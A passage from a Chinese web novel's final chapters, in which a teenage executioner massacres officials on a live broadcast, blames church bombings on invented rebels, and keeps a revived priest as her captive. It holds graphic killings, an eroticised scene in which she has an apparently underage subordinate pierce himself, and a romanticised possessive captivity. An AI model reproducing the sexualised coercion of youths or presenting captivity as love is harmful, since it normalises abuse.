E级处于任人宰割的食物链最底层,如果周围的人没被严格监管和威胁,后果不堪设想。 白大褂们 顺从地让开,露出床上的那个人。 温臻就这样躺在床上。 昔日高岭之花一般的神官,此时美丽的脸苍白得近乎透明,浅金的长发披散蜿蜒,色泽黯淡。他眉蹙着,似乎在昏迷中也有些不安。 他打着点滴,曾经温柔拉着她的那只手放在床单一侧,冷白的手背上插着针管。 林又茉看着冰凉的液体顺着输液管流进他的身体。 白大褂适时说:“神官……温臻先生需要静养一段时间。” “要多久?”林又茉问。 “可能一个月,身体才能完全恢复。” 白大褂道,“之前的禁食和紧闭……以及其他的一些折磨,对神官大人的身体造成了不小的伤害。” 温臻躺在床上,金发散乱间,纯白的衣袍领口松散,露出了一道锁骨下结痂的暗红血痕。 看起来像狠厉的咬痕。 在皮肤上很刺眼。 “这应该是被人咬的……神官大人,毕竟,那个通奸的传闻……” “我知道。” 林又茉垂眼盯着那道痕迹片刻。 “……执刑官,还有件事。”白大褂小声地迟疑着提醒,“如果玩得太过激烈,可能会出人命。” “当然,如果您需要,我们也有药可以帮您助兴,同时吊着神官的命,这样就万无一失了。” “您……需要吗?” 白大褂们不混上流圈子,没听说过温臻抚养她长大的传闻。 他们想当然以为,执刑官大费周章抢了沦为E级公民的神官回来,是抱着与剩下其他人一样的淫.欲念头,把他当作禁.脔,随意玩弄。 毕竟,神官的一缕头发都能在黑市卖出高价,谁会忍得住不去玷污落入水里的明月? 果然,执刑官听了这话,并没有作别的反应。 她只是抬起脸,那双漆黑的眼睛转过来,盯住他们。 白大褂们本能地一惊,一层冷汗唰地窜上来,忙不迭告辞离开。 林又茉转回头,她垂眼看向昏迷中的温臻。 良久,她慢慢俯下身,如小兽一般,凑到他颈边,轻轻地嗅了嗅他的气味。 鸢尾花的香气。 ** 林又茉在房间里呆了一会儿,才离开。 门外,绛刀沉默地站着。 他不知道等了多久,少年漂亮的脸颊有些阴沉,他身材颀长,一身黑衣,身上仍然带着些风尘仆仆归来的雨气。 门关上前,他瞥到了屋内的金发神官,不可察地停顿了一瞬。 林又茉挡住他视线:“东西呢?” 绛刀顿了下,递上一份文件:“执刑官,这是目前查到的资料。” 两人往另一头的书房走去。 林又茉拿过来,翻开,垂眼浏览。 “纪廷元。”她念出这个名字。 一目十行,林又茉扫过文件上的内容,履历、生平、升迁历史、家族情况……任何一样明面上的东西,都没有任何出格的地方。 “不对劲。”她说。 这是一份关于前任议会长的资料。 ——一个多月前,红刀,因为调查前任议会长的档案室而被判刑。 ——昨天,林又茉自己,因为前任议会长的最后一张票而在审判日扳回一城。 两次都被这个人插了手。 究竟是敌是友、身份立场,林又茉发觉自己对这位前任议会长知之甚少。 如果明面上的资料没有任何可以追查的蛛丝马迹——林又茉只想知道,这个前任议会长,纪廷元,究竟是什么人? 他为什么要干涉这一切?是为了政治、利益,还是私人原因? 他跟林家的案子又有什么关系? 林又茉感觉自己被缚入了一团看不见的线,无法动弹。 从资料中抬起眼,她问:“纪廷元现在在哪?” 绛刀回答:“听说从议会退休后,在别院度假。” 他补充:“很难追查到行踪。” 林又茉一顿。如果纪廷元在他私人的领地,那么想要查到他的行踪,再见到这个人就不是容易的事。 绛刀:“我记得您宣誓就任执刑官后没过多久,纪议会长就卸任了。” “对。” 林又茉跟他并没有打过太多的照面。 最后一次见面,是在议会宫的地牢,纪廷元当着上一任神官惨死的面对她哈哈大笑,讥讽刽子手可悲,说他们不过是一把没自我意识的刀。 林又茉无法确定他当时的话语、表情、行为有没有任何可疑的地方。 毕竟疯癫扭曲的上层人——已经不算一件多新鲜的事。 林又茉递还资料,平淡地说:“如果查到纪廷元的行踪,及时告诉我。” “好的,执刑官。” 交谈结束,绛刀垂下眼,准备离开。 走出几步,忽然听到林又茉冷不丁道:“你受伤了?” “……是的。” “伤在哪里?” “腰上有子弹擦伤,没有伤到器官,用药就会痊愈。”他停顿了下,又说,“不会耽误我听从您的命令。” 是在护送神官回来时候受的伤,有人觊觎明月,就有人孤注一掷。 一片安静。 良久,绛刀抬起眼,才发现林又茉并没有走,少女站在那里,静静地盯着着他。 换下学校制服的她看起来格外小,黑发垂在腰际,白皙的脸干干净净,漆黑的眼睛倒映着他。 林又茉说:“我看看你的伤口。” 绛刀怔了一下。 “在这……” “对。” 他停顿片刻,顺从地动作。伤口的血液和布料织物沾在了一起,要用刀才能割离开,绛刀做这些事很熟稔。不一会儿,少年便上身赤.裸。 然后,少女的手指贴上了他的伤口下方的皮肤。 “执刑官……” 她天生体温偏低,手指冰冷,刺激得绛刀身形一僵。 他有些慌乱,有些无措,但克制住了。 “别动。”林又茉说。 绛刀睫毛颤了颤,听话地努力克制身体的颤抖,控制自己逐渐急促的呼吸。 书房的柜子有玻璃,绛刀不知道该不该去看,他垂着眼,害怕泄露心迹。 长相妖媚的少年,跟记忆中的人的长相别无二致。 林又茉打量他。 在红刀死后,绛刀已经完完全全在样貌上变成了替换他的新玩具。脸蛋、身高,发型,一切。 除了他的沉默寡言,一切都一样。 ……不对,林又茉想,还有一样。 还有一样没有。 绛刀感觉自己在她的目光下无所遁形。 他被晾在原地,不敢动,不敢出声,只是悄悄咬紧了一些嘴唇。 然后,少女的手伸过来,掌心,躺着一枚银针珠子。 少年倏地抬起眼,青涩的喉结攒动了下。 “执刑官——” 绛刀看过红刀的尸体,知道……他们的身体有什么地方不一样。 哥哥的这里是被穿了珍珠的。是谁穿的……毫无疑问。 “拿着。”她说。 绛刀滚了滚嗓子,颤抖地接过了银针。他抬起手,落在跟哥哥同样的一侧。他们作为双胞胎的相似度太高,就连这里,他跟红刀一样,是嫩粉色。 只不过这时,林又茉说:“换一边。” 绛刀顿了顿,僵硬地换了另一侧。 林又茉说:“是这里。” 抿了抿唇,对准穿透过去时,“唔”,尖锐的痛感袭来,绛刀蓦地闭眼,脖颈不受控制地垂下,肩膀一阵发抖。 热潮滚上脸,绛刀不由得想,哥哥当初也是这样的感觉吗? 被穿透,是这样的感觉吗? 绛刀腿软地跪地,手撑着地面,少年的青筋因为克制慢慢从胳膊上浮现。 他恍惚地呼吸,为这种陌生的愉悦而感到茫然。 然后,他的头发就被从后拽起。 林又茉漆黑的眼看着他,说:“你可以过来了。” 第 41 章【VIP】 第41章 世界安静了。 一种独特的安静。 偌大的、人群拥挤、一片混乱的会议厅,在这一刻,声音全部都消失。 直播镜头后,万亿的观众也噤声了。 就像是默片,有人关闭音量开关。 这一瞬间,仿佛所有的事情、所有的人、所有的动作,都静止了。 人们震惊地注视着这一幕,不敢相信、惊愕、痛苦、疯狂…… 金发飞扬,就这样倒在地上。 一片有如实质的死寂。 在场的所有人,目光凝固,颤抖着、缩紧着,缓缓投向同一个方向。 天台的边缘。 火光染红天穹。一阵不知从何处袭来的狂风,扬起少女背后的长发,散开在空中。 而地上,她的脚边,金发蜿蜒在血泊里。殷红的血迹,像涨潮的湖一样漫出来。 刚刚那一声枪响,事发太突然,所有人都没反应过来。 会议厅内的人们忙着躲藏,忙着打开手机,忙着联络,忙着求救,忙着绝望,而当执刑官赶到时,他们还没来得及喜悦——就听到了这一声决绝的枪响。 ……谁? 是谁开的枪? 他们缓慢抬头,于是就看到了这一幕。 高阳如血。 黑发的少女形单影只,身后是模糊不清的都城全景,她俯视脚边的金发神官的尸体,面无表情,一言不发。 她的手里,握着一柄枪。 ——是执刑官。 是她开的枪? 议会的人震惊地愣在原地,随即,他们意识到发生了什么——是执刑官处决了温臻! 这说明什么?这说明她是站在他们这边的! 她履行了她的职责,保护了他们! 虽然没想明白前因后果,但最大的威胁被清扫,劫后余生——他们还怕什么? 他们还有什么好怕的? 议会一名大臣从桌下爬了出来,大高声呼喊:“谢谢你执刑官,你铲除了极端分子——是你救了我们!” 这一起头,剩下人纷纷如梦初醒。 “是啊,多亏执刑官及时赶到,是你救了我们所有人!” “执刑官,这次多亏了你!你拯救了联邦!” “联邦欠你一份情!” 直播的镜头运作,没有一个议员不明白现在是一个挽救民心的绝佳时机,作秀和表演是每一位政客刻在基因里的技能,他们使出了浑身解数,将感激涕零写在脸上。动动嘴皮子就能讨好新救世主并且表明立场的事情何乐而不为? “执刑官——执刑官!”“我们一定要严惩幕后的凶手!”“将该死的幕后推手神殿清算!”“送他们上审判日!” 众人高喊着,混乱中,薛柏寒向下属打了手势,率先退后一步,从门无声无息离开。而长者面色阴沉,虽然是他手下开的枪,但他乐意将杀人功劳推到执刑官身上,现在形式对他们不利。 “执刑官,您简直就是救世——” “啪”。 一个血洞,赫然开在说话人的脑门中心。 直播镜头后的观众倏地凝固。 被击中的是一名议会的大臣,他狂喜的表情还凝固在脸上,随即,带着不可置信,尸体向后仰倒,软塌塌倒地。 林又茉眼睛都没抬,她手臂绷直,拿着枪,手指扣动扳机,就这样崩碎了一个人的脑袋。 血花迸穿,白色的脑浆洒出来,零星几滴,溅到桌面。 原本站在死者身后的议员吓坏了:“执——执刑官,枪走火,您是不是杀错、杀错人——” “啪”。 一个血洞,也赫然开在他的脑门上。 短短两秒寂静,随即尖叫四起。会议厅乱作一团,议员们像无头苍蝇般争相逃窜,疯了一样朝大门蜂拥而去。 “执刑官……执刑官疯了!” “啊!” “杀人了啊!!执刑官杀人了!!” 砰。砰。砰。砰。 一连串枪声轰然炸响,尖叫声戛然而止。 林又茉开枪没有停顿,她眼睛没抬,像背后长了眼睛一样,抬手 ,开枪,准头没有误差,个个一击毙命,脑门、后心、喉咙、后脑,没有一个人逃出枪响。 最后一具尸体倒地,会议室一片死寂。剩下的人或贴着墙站着,或猫着腰躲在桌下,或死死抱住掩体,没有一个人敢再动。 无人说话,会议室像被强制静音了一般,只有人吓哭呜咽,吞咽口水、粗重呼吸,以及死人的鲜血滴落在地板的声音。 没有人知道她为什么开枪,没有人知道那么多个死掉的倒霉鬼到底哪里得罪了她,没有人知道她为什么突然屠杀,更恐怖的是——没有一个人敢去阻止她。 执刑官天生有处决A级公民的权力。她甚至杀人不需要提前给他们理由!就算现在调来狙击手,谁敢在直播镜头前扣动扳机? 温臻的预言在这一刻成了真:她成了救世主——谁还敢、谁还有胆子杀她? 议议员们自顾不暇,谁也不愿当冤大头的出头鸟。神殿刚被揭穿丑恶的交易,更不可能现在妄动。他们一向道德高地自居,又被温臻在沙地上画了条线,现在谁敢下来?! 各人有各人的利益,群龙无首,于是局面竟然陷入了一种诡异的僵持。所有人,惊恐地,注视她。 林又茉仍然立在原地。 她低着头。 一动不动。 她敛眼看着脚边染血的金发,睫毛鸦黑,这样垂下来时,在脸上洒下一片阴翳,半边脸映上橘色的光,这光不断跳跃着,让她的神情变幻莫测。 整个世界的目光都在她身上。 血还在不断往下滴,她的手里,握着,那一枚浸透了血的控制器。 她好像也静止了。 忽地,一阵风刮起,吹过林又茉的衣摆,与此同时——“轰!”遥远而沉闷的爆炸声传来,像从大地深处滚动而出。 直播镜头后的公民们纷纷扬头,有人感到地面轻颤,有人听见了巨响,有人身处火光的正中心—— “轰隆!” 火焰骤然冲天,都城郊外一座教堂突如其来的新爆炸,让所有人都惊骇在原地。 怎么又有爆炸?! 但紧接着—— “轰隆!”、“轰隆!”、“轰隆!”、“轰隆!”…… 接二连三的爆炸声,响起在联邦各地! 各教区外,公民们无数双瞳孔骤缩的眼睛,惊恐地望着一座座矗立百年、千年的教堂在火海中轰然坍塌。 “我们城的教堂炸了……” “我们码头的教堂也炸了!” “坐标西岛,我们中心的教堂已经看不清了……” “这里的教堂也!” 长者再也按捺不住。炸弹的确是他们藏在教堂里,但谁会想到炸弹真会被引爆?! 这样下去,教堂炸完了教会还剩什么?! 一瞬间,联邦的版图像被溅上了火星一般,无数处熊熊燃烧。神殿近乎几所最大的教堂,都付之一炬,损失相当惨重。 世界各地的信徒们、公民们,大张着嘴,看着那些燃烧的教堂,心里怆然、茫然、震惊、恐惧交织。 发生了什么?为什么又会有爆炸?! 难道、难道—— 下一刻,直播的大屏幕里出现了执刑官的脸。 所有人一顿。 少女的脸白皙,精致,脸侧挂着的鲜血刺红,黑发在她身后飞扬。 她直视着直播镜头,这是今天,执刑官头一次正式对民众说话。 “联邦的各位公民——” 声道发出刺耳的共振音,随后,尖锐声音消失,执刑官平静、没有起伏的声音传出来。 联邦的每一个屏幕,都播放着同样的画面,响起同样的声音。 在冲天的火光下、混乱的民众下,冷静、平静的执刑官的话,莫名有一种魔力,注入人们的脑海,令所有人不禁抬首凝视,屏息聆听。 “今天的爆炸案我接到消息,是叛军恐怖袭击的结果。” 她声音平缓,平铺直叙。 “一百多年前的审判日想必各位都熟知。这一次的混乱,就是因为审判日被判死刑的叛军仍然有残余,这一次,是他们企图挑起神殿与议会之间的矛盾,借机扰乱联邦秩序。” “刚刚的爆炸是处决,那些叛军的人已经渗透了许多地点,爆炸,是对已经渗透关键地点的叛军分子的必要处置。但所有的局势都已经在控制中。” “作为执刑官,我会找到叛军的首领,即这次动乱的罪魁祸首,并让他们受到制裁。请相信。” “——以上。” 短短几句话,将今日所有纷乱归咎于外敌来袭。 第三方负责,神殿与议会毫无干系。 当着民众的面,林又茉捏碎了手中的控制器。坚硬的机械在她掌心裂成碎块,碎片簌簌坠落。 那双漆黑的眼抬头看了眼。 随后,画面骤然中断,直播屏幕一片漆黑。 世界各地,一批武装守卫陆续出现,肩上佩戴纪家与执刑官的徽章,包围爆炸过的教堂,稳住人心。 …… 直播关闭,会议厅内的人紧绷的神经终于稍微松懈了一点下来。 但仅仅是稍微一点——长时间的精神高度紧张,让他们甚至没关心林又茉公告里的说辞究竟有多假——什么叛军?哪来的叛军?一百年前的叛军就是假的作秀用的,现在哪来什么叛军! 但事已至此压根没有人想开口辩驳,面子的事不谈,他们脑袋都还别在裤腰带上,这才是生死攸关的大事,谁还关心什么子虚乌有的叛军? 会议室内,没有人敢动。所有人紧张地盯着执刑官的一举一动,大气不敢出。 林又茉垂下眼,头转过来,扫向地面上歪七扭八的尸体。 财政大臣、国防大臣、上将将军、议会秘书……议会的人这次来了一大半,死得所剩无几。 元气大伤。 林又茉迈步走到一处尸体旁,从碎布里捡起了一枚徽章。 那是一枚象征着议会长地位的徽章,刻着联邦标志,在加冕仪式上,由神官给予新上任的议会长。 薛柏寒在逃走时遗漏了。 林又茉将那枚徽章随便一抛,抛给了离得最近的呆若木鸡的能源大臣手中。 “你来做。”她道。 “……什么?” “新任议会长,你来做。” 能源大臣捧着那枚徽章,呆了好一会儿,猛地咕咚咽了口唾沫,才反应过来自己捞到了什么好差事。 “可——” “砰!”林又茉对她脚边开一枪,终止了对话。 能源大臣急忙将徽章抱紧怀里:“我做,我做!!” 她……她成了新任议会长? 滔天的趋势,就这么到手了? 她,名垂青史了?! 没有在乎其他人震惊失措各异的反应,林又茉走向神殿的人。 “叔父。”她叫人。 温家长者一直没动静,此时见她走来,刚随便封了个议会长,立刻挂起长辈般和蔼的笑,向前走去:“执刑官,又茉啊,我们神殿之前一直跟你这孩子有些误会,但你觉得,议会长的位子是不是还是要再商量一下……” 执刑官之前一直没怎么杀在场的神殿的人,应该是对他们还有感情,毕竟从小抚养她到大—— 林又茉抬手一枪把他崩了。 砰!血花四溅,近距离开枪,身体崩飞撞到墙面,脑袋炸出一片汁液。像裂开熟透的瓜,飞溅当场。 “林又茉!那是叔父!你不要太过——” 砰。砰。砰。砰。连续四声枪响,神殿其他几位长辈高层纷纷烂泥一样倒地,墙上溅上四朵血花。 神殿的人吓得魂飞魄散,面如土色。 林又茉弯腰,从长者胸前扯下象征神殿的标志,随手抛给跟在最后的温安。 “教会以后你来负责。” 温安惊叫出声:“我——” 砰的一声,又是一声对天的枪响,戛然而止了对话。 短短几分钟内,议会、神殿两大势力重新洗牌,江山易主。 腥风血雨过后,一个崭新的世界就这样缓缓拉开了帷幕。 会议室内,鸦雀无声。 林又茉没有说话。 她没有再理任何人。 她回身抱起了温臻的尸体,头也不回地离开了房间。 第42章 完结章 第42章 几个月后。 春日。 联邦熬过酷寒的冬天,终于迎来了新年的春日。新的一年气候十分宜人,仿佛连日月潮汐都察觉了新时代的来临,变得格外讨人喜欢起来。 民众的生活也逐渐恢复如常,新的电视、电影、游戏、明星绯闻层出不穷 ,奶头乐永不短缺。他们的注意力很短,很快,就像七秒记忆的金鱼,将目光转向鱼缸外更新鲜的事物。 那一次次的爆炸——是的,在公民的口中,如今已经有了一个统一的称呼:大爆炸日。宇宙的诞生始于一场大爆炸,那么新纪元由爆炸拉开序幕,也再恰当不过。 现在公民们谈及那一天,言语里都颇有种遥远的错位感。那些发生过的事情,回想起来,几乎不真实。 他们用诸如“那一天的爆炸啊,像烟花一场接一场”,“全民直播,你们是没见过,万亿人同时守在同一画面前的场面”,“执刑官的‘权限干扰’,从来不知道可以这么用”等等的言论开头,形容那一天;又在感叹执刑官的所作所为中结尾。 在那一天后,议会和神殿大规模洗牌,高层换血,无数旧的政策被推翻重订。 被炸毁的教堂,由议会出兵、神殿协助,将废墟改建为公民用地,博物馆、公园一座座拔地而起;公民信用点等级制度被沿用,但E级、D级待遇得到重新规划,红灯区强制服役制度被禁用。 新任议会长上任,她自能源大臣晋升,令人惊疑的是,议会内竟然没有任何异议。与此同时,神殿的代言人也变成了曾经负责圣弥亚大教堂的一名年轻神官。 神殿高层进入议会,在政策上握有新的话语权;新血液入驻,两方重修旧好,共同治理联邦。 世界的齿轮仍然在徐徐转动,一切都迈上了正轨—— “要说还有什么大事的话——” 说话的人砸吧了下嘴,冲面前人若有所思地嘿嘿笑, “新举行的一个审判日,算不算?” ** 联邦历321年,2月11日,迎春日前。 时隔半年的新审判日。 这个新审判日由执刑官林又茉发起,审判对象为需要为爆炸日负责的“叛军首领”。 无数公民通过直播观看了那一场审判。 那一天叛军的首领身穿牢服,头戴着麻袋,被强行押至审判庭中央空地。叛军首领双手被束缚,拼命挣扎,发出粗重的“唔唔唔”抗议声,似乎几度愤怒。 “今日的审判对象,是造成大爆炸日一百四十七起爆炸的叛军首领。” “依据《联邦宪律》第十三条,此名罪犯意图挑拨神殿与议会之关系,借权力之争扰乱联邦秩序;其手段极端凶残,竟然在联邦境内制造一百四十七起爆炸事件,导致无数无辜民众伤亡与公共秩序全面动荡,其行径罪恶昭彰,理应受联邦最严厉的制裁……” 冗长的罪名列举完毕,法官严厉开口, “现在我们该如何审判他?” 高台上,穿着黑衣的执刑官林又茉缓缓走出。 “死刑。”她语调平静。 无人反驳。 “下面进行表决。” 审判日举手表决,所有出席的78位A级公民全部举手。 全票通过。无人有异议。 翌日黎明,叛军首领被拖上断头台。 执刑官亲自执刑。 刑场设置在广场高台,好事的公民隔着百米聚集围观。 叛军首领被一盆水泼醒,执刑官林又茉拽住叛军首领的头顶麻袋,叛军首领嘶吼着,但距离太远,没有人能听清。 而林又茉没有表情,她将他的麻袋脑袋向后扯,迫使他仰头。 黎明的清晨阳光透过麻袋。让那人清醒过来。 她嘴唇动了动,说了一句什么。叛军首领忽然凝固了。 事后有好事公民解读唇语,说的是“代价。” ——在那一刻你会记得,你曾经在这一分,这一秒,对我说过这样的话,让我变成了你的敌人。 “——现在,”她说,“你后悔了么?” “我从未后——” 执刑官说完,将刀横起,刀光一抹,将叛军首领的头割了下来。 鲜血喷洒如注,发出哧哧响声,流下台阶。 头颅咚咚咚滚在地上,麻袋染红,洇出血迹。 林又茉放下刀,看都没看地上的头颅,转身离开。 全民欢呼。 至此,对外,执刑官是所有公民的救世主。对内,洗牌后的议会和神殿两方唯执刑官马首是瞻。 执刑官的地位达到了空前的高度。 ** “我至今还记得行刑的那个画面,啧啧啧。” 说话的人不住地啧声,陷入回忆,“执刑官的身手也太狠厉果断了,你说以前,大家都骂她害怕她那会儿,怎么就没发现她那么酷?” “现在还有很多人收集刽子手——呸呸呸,以前叫习惯了,得改过来——收集她以前的报道,收藏她的照片。越来越觉得佩服。冒天下之大不韪伸张法律正义,得受多少阻碍啊。” “现在回看她以前那么多处决事迹,这么有魄力,不愧是救世主……” 问话的人沉默了片刻,长长地“噢”了一声,墨镜遮住了他的脸,“原来是这样。” “是啊。欸,对了这么多事你怎么会不知道?爆炸日这么大的事情,整个联邦人尽皆知啊。” 咖啡店店员疑惑地问道,将做好的咖啡放在柜台上。 “我嘛。我前一段时间失恋,所以去小岛散心了,所以知道的消息有延后性。”接过咖啡的人弯唇笑了,他的金发用夹子挽在脑后,笑起来时,耳边的金色碎发拂动,“岛上嘛,本来也没什么人,更没什么人八卦。”他也没有打听。 他顿了顿,“不过你刚刚说,审判日的审判对象,是……叛军首领?” 店员点头:“是啊,就是爆炸日的罪魁祸首。听说是一百年前联邦遭袭的叛军余孽卷土重来。你没听说过?” 金发男人停顿了片刻,笑:“那当然是听过。” 只不过,叛军根本就不存在。 更别提叛军首领。 一百年前那场所谓叛军清算,只不过是场表演。这件事情,只有联邦高等级的一小部分公民知晓。他得知也算是机缘巧合。 不过,也不必要深究。 金发男人抬抬杯子,留下一笔不菲的小费:“谢谢你的咖啡。” “哎。等等,你是不是有点像那个大明星,前段时间退圈那个——”店员终于想起来,连忙呼出声,但对方已经推门出去,身影消失在门外。 …… 季相兰回到了都城中心高级公寓的家中。 阔别几个月,推开门,一切陈设还是熟悉又陌生。 依然空空荡荡。 他将咖啡放至一边的台子上,摇了摇头,笑。 什么叛军首领审判啊。 肯定就是给这场爆炸日找了个替罪羊,用来顶包。 那么大的事故,肯定既不能推到议会,也不能推到神殿上——祭出个莫须有的第三方“叛军”,是最好的办法。 不愧是他的小朋友呢,能想到这么好的对策。 就是那替罪羊倒霉蛋是谁呢? 季相兰将墨镜摘下,将脑袋后的发夹松开,一头长长的金发便披散下来,他拿起咖啡杯,慢悠悠地走进室内。 茶几桌上放着不大不小几个包裹。是他的私人管家在他不在的这段时间替他打理屋子 ,顺便收发快递,签收的包裹。 季相兰最近不在都城,没买多少东西。 他啜着咖啡,打开了投影屏幕,找出当初爆炸日的直播回放播放,一边悠悠闲闲拿着小刀开包裹。 高级公寓质感极佳,偌大的屏幕映出当时谈判天台上的场景。 季相兰看得极为认真,手下动作缓慢,在看到执刑官和温臻神官站得极近手指相握对峙的场面时,他眼神闪了下。 看到温臻缓缓倒下时,他动作变缓。 之后是长久的爆炸、寂静、混乱,而当执刑官的脸出现在屏幕上时,季相兰手一抖,小刀的刀刃划破手指,血珠沁了出来。 “……作为执刑官,我会找到叛军的首领,即这次动乱的罪魁祸首,并让他受到制裁。” 黑发少女没有表情,嗓音平静、清晰。 随即,她当着联邦的面,捏碎了那枚控制器。 季相兰怔愣地看了好一会儿,荧幕的色彩在他脸上映出交错的光影,才缓缓低下头。 食指被割伤,伤口挺深,需要包扎。但季相兰目光慢慢移到了一旁拆了一半的包裹上。 这一个包裹,长得不一样。 他将包裹翻过来,标签上没有写收件人、寄件人,只有—— 只有印着的一朵茉莉。 季相兰呼吸突然开始急促起来,他的心脏砰砰跳动,他没有在乎滴血的手指,颤抖地将包裹径直撕开。又翻找了半天,没有留言,但里面放着一个盒子。 他盯着它,指尖发抖。终于——哗地一声打开。他手下意识松了,盒子啪嗒掉在茶几上。 里面的东西滚了出来。 ——是一枚眼球。 一枚灰色的眼球。 灰是极冷的灰,但因为瞳孔涣散,显得麻木空洞。 它被保存完好,做成标本,送到他手上。 像……一份迟来的礼物。 季相兰心乱如麻,过了许久,才抬起头,屏幕上的直播已经切换到了新审判日当天的行刑画面。 林又茉拽住那个人的脑袋,干脆利落地割掉首级,鲜血顿时喷洒而出。 …… 季相兰忽然明白了那个叛军首领是谁。 他手撑在桌面上,胸前起伏,气息急促。过了会儿,过了好一会儿——等他把前因后果想明白,把他们俩快一年前的对话想了遍,他才终于气音一般笑了声出来。 “真是……真是……小混蛋。” 笑着笑着,他喃喃道,“原来还记得……还记得我的话啊。” 这让他怎么能忘记她? 那只他心目中流浪的漂亮猫猫,还是给他送来了约定的小礼物。 …… ** 这几个月内,联邦发生天翻地覆的变化,仿佛一夜之间,世界被更迭了,一切迎来了新的时代,所有人或主动或被迫,接受了新的秩序,新的常规。 而在这无数巨大的变化之中,有一件事,刻意地被所有人忽略了。 神官温臻。 有人说他是叛军的一员,有人说他是恐怖分子,有人说他只不过是被蒙骗,有人说他受到了胁迫,做出那一切都是迫不得已,他毕竟没有真的毁灭世界——但无论如何,到事件结束最后,官方都没有出面给出一个最终的答案。 公民们也不约而同地强行忽略掉了这件事。 毕竟,神官死了,他已经死了——那么,一切,都已经过去了。 他们不想去深究他的罪行。 所有的爱与恨都在一天内消磨殆尽,随着他的死亡流逝,那一天发生的事情太快、太突然,他们的爱还没结束,恨还没燃起,一切都已经如大厦倾颓。这是一个如此复杂的人,而他们也想要退出那一片他内心的自留地。 就让时间替他们遗忘吧。 一百年后,三百年后,属于他的记忆终将沉入尘土。 新审判日后不久,世界新貌重回正轨,执刑官休了长假。 她的身影,随之从人们的视线里消失。 …… …… …… 春日来临,草长莺飞。 阳光和软,淡淡的光晕漂浮在花园里,小巧的白色蝴蝶纷飞,都城的春日总是与酷寒的严冬不同,一切都软化、柔软下来,像泡过的奶油甜饼干,让人不禁想起最美好的事物。 静谧、美好。 空气中弥漫着青草的气味,花朵的香气,耳边传来清脆遥远的鸟啼声,仿佛这里,与那钢筋铁柱的现代都市完全隔绝了。 阳光透过透明的窗子映进来,洒进窗台,淡色的纱帘被风吹拂,一晃一晃,流苏轻轻扫在地板上。 洁白的被褥、枕头、床单笼在晨光里。仪器的声音偶尔规律地响起,将生命体征数据化。 浅金色的睫毛轻轻颤了颤。 在长久的昏迷后,他醒了过来。 他闻到了花香,听到了鸟鸣,也感受到阳光洒在身上的暖意。 不远处传来脚步声。他慢慢转过头,转向声音来源的地方。 她停在床前一段距离。 林又茉看着他。 靠卧在床上的人,手背上连着点滴,身上插着仪管,面容苍白、削瘦,金发如瀑蜒延而下。 但那五官的美丽,反而依旧艳艳惊人。只要见过一面,就难以忘记。 她已经不知道在那里站了多久。 天光明媚、亮丽,落进那一双没有焦距的绿眸里。 但就算这样,温臻仍然翘了唇角,莞尔。 他似乎知道是她,只是这么抿唇笑着,很柔和。 过了许久,林又茉才走近上前。 “哥哥醒了。”她说道。 温臻没忍住唇角上翘了些,温柔笑说:“我是死了吗。” 嗓音沙哑,缓慢,带着轻轻的咳嗽。 林又茉没回答。 温臻也没恼,他虽然看不见,但是仍然这样温和地笑,对着她的方向。 他身上穿着病人用的白衣,领口微微散开,白皙的皮肤上露出一道狰狞的枪伤伤疤。 林又茉看了他许久,才说, “哥哥听说过,生物药剂吗。” 在谈判日前一个月,林家的医生曾经来南城为他诊断时,怕他被玩死,留下过一管生物药剂。林又茉带在了身上。 击中温臻的子弹穿过心脏冠状动脉主干,几乎当场毙命,但就在那一瞬间,林又茉本能拿起生物药剂的针管,扎进了他的身体。 生死在神明的一念之间,最终,天平——堪堪倒向了他这边。 就算这样,在那一天后,他也足足昏迷躺了几个月。 温臻呼吸轻微,他听完怔了许久,才弯了弯眼,说:“是吗。” 从来没有信过神的神官,在最后一刹那,成了命运的幸存者。 而救他命的也并不是神。 林又茉说:“但是寿命会缩短。” 温臻:“多短?” 林又茉静了一会儿说:“三天五个小时十二分四十六秒。” 温臻没忍住,轻轻笑出了声。 金发美人的脸微微侧了侧,他这样笑,室内仿佛都亮起来,“又茉会说冷笑话了啊。” 真是好冷的笑话。 生物药剂要是只有这点副作用,早变成流通的大路货了。 何况他天生药罐,副作用只会更重。估计没剩下几年。 胸骨仍然作痛,毕竟受伤的是心脏,但温臻忽然感觉轻松。 他背负的那一切东西,忽然消失的轻松。仿佛心脏的那一枪,带走的是他二十年来要算计的、要承担的、要负责的一切计划。而现在……一切都结束了。 他的心忽然轻了。 他没有问现在的时间,没有问他在哪里,也没有问发生了什么,后果是什么。 又茉还平平安安在他面前,于是温臻想要的一切,就在这里了。 温臻笑,道:“那又茉准备怎么办呢?” 林又茉说:“没关系,就算哥哥寿命缩短很多,我会把哥哥冻起来,等到新技术出来再解冻。” 温臻又笑,他其实总是喜欢笑,但神殿总让他克制着,他忍不住笑盈盈道,“冻着呀。” “嗯。”林又茉说,“如果新技术没出来,就一直冻着,然后再解冻,再冻着,直到哥哥的伤稳定为止。” “好像冰柱新娘……”温臻本来还想笑着再说些什么,忽然听到林又茉的下一句话: “所以哥哥会跟我一起活很久。” 他怔住了。 温臻过了许久,才轻轻地抿了下唇。 林又茉说:“如果这次哥哥再抛下我,再骗我一次,我会亲手杀了你。” 心里酸涩感涌出来,像有什么,从被开的那个洞中涌涌出来。 那些陌生的,温臻不敢放任自己去想、去体会的情绪,二十 年以来,第一次,毫无阻挡地袭入他的身体。 “又茉……”他嗓音发涩。床单上的手茫然地向前伸了伸。 “在外界,温臻这个人已经死了。” “所有人都知道神官死了,你的身份、名字、记录都被销毁。现在,哥哥除了在这里,没有别的地方可去。” “除了我,哥哥没有人可以依赖。你只剩下我了。” 林又茉敛眼看他,她看着他那双深绿色失焦的眼睛,他金色的长发,他玫瑰色的唇。 那一阵淡淡的鸢尾花香,从她出生、幼时,到现在,一直陪伴在她身边。 她会把它牢牢握在手里。 “从此以后,哥哥真的是我的东西了。” 房间里安静了片刻。 良久,温臻点头,他轻哑说: “嗯,我知道。” “哥哥不能再出门。” “嗯。” “不能再跟别人说话。” “嗯。” “不能违抗我的命令。” 他笑了:“嗯。” 他张开双臂,少女缩进他怀里,靠向他胸膛,温臻垂下脸,慢慢抬起手,抚摸她的发顶。 二十年前,他在神殿的台阶上捡起又茉。她那么小,软软一团,依偎在他怀里。 或许从那时起,她早就变成了他身体的一部分。他拼了命也要保护她,她离开他也无法再存活。他们就这样扭曲地纠缠,痛恨,疏远,背叛,却也是爱。 却也是爱。 每一分,每一秒,下一个小时,下一个刻钟,明天,后天,新年,未来——永永远远,永永远远。 直到他们共同死去。 【正文完】 第 41 章【VIP】 第41章 世界安静了。 一种独特的安静。 